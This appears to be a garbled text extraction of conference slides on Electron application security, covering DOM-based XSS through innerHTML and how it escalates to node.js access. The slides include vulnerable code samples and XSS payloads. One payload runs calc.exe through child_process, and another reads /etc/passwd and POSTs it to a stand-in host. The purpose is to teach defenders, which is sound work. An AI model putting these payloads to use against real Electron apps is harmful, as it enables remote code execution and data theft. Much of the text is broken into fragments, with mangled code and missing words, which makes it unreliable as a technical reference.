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} Electron

}
} Electron
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Electron Apps -

} Electron Web
} : hode.js
} Electron
} Web
(symlink )
1 . Chromium + node.js
} Electron

(DOM-based XSS )
}
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Electron

) AP

} window.open
} webview

} webFrame
registerURLSchemeAsSecure
registerURLSchemeAsBypassingCSP
registerURLSchemeAsPrivileged

executeJavaScript
} etc...

}

( 0)

- HTML5j web platform #html5jplat



}
} symlink
}
}
}
} 644
}
} 8.3 ADS(file.txt::$DATA)
}
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} Web

1 C/C++

} Secure Programming HOWTO

http :// www.dwheeler.com/secure -programs/Secure -Programs-HOWTO/index.html

1 IPA C/C++

https :// www.ipa.go.jp/security/awareness/vendor/programmingv2/clanguage.html
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} Chromium + node.js

F( ) DOM
} DOM-based XSS
}
}

Electron (webFrame webview

)
}
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Web

} Chromium + node.js
7 ( ) DOM
} DOM-based XSS -
}
} Electron (webFrame webview
)
}

- HTML5j web platform #html5jplat



Web

DOM-based XSS
DOM
DOM-based XSS

fs.readFile (filename, ( err,data )=>{
if(lerr) element.innerHTML= data; //XSS!

1)

fs.readdir ( dirname, ( err,files )=>{
files.forEach ( (filename)=>{
let elm = createElement( "div " );
elm.innerHTML=
‘<a href ='${filename}'>%{filename}</a>" ; //XSS!
paerntElm.appendChild( elm);

1)
1)

innerHTML XSS
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Web

} DOM-based XSS

} Inject node
( )
} alert
}
}
}
} 0
} DOM-based XSS
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XSS - Web

} Web
} | Cookie Web
U
} Web JS
} Web
} U
} Web
}
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XSS - Web

} Electron XSS
}

1 PC

— e d
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Electron DOM-based XSS

node

/| xss_payload
elm.innerHTML= xss_paylorad; //XSS!

// Xss_payload
Xss_paylorad = <img src=# onerror =
"require (' child_process ').exec(‘'calc.exe ', ()=>{}) ">

/[ xss payload

XSS _paylorad = <img src=# onerror ="

var s = require('fs’). readFileSync ('/ etc/passwd', 'utf -8");
var x = new XMLHttpRequegj};

x.open(‘POST, 'http  ://lexample.jp/', true );

x.send( s );

s
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XSS

r XSS: The New Buffer Overflow
In many respects, an XSSvulnerability
IS just as dangerous as a buffer overflow.

XSS

"Security Briefs: SDLEmbraces The Web", Apr. 2008

http://web.archive.org/web/20080914182747/  http://msdn.microsoft.com/en
us/magazine/cc794277.aspx

MS V)
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}

} Electron
} Web (CSP ) ()

}
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DOM-based XSS

JS XSS

HTML

location.
hash

location. document.
href vvnte

-—»-—» @
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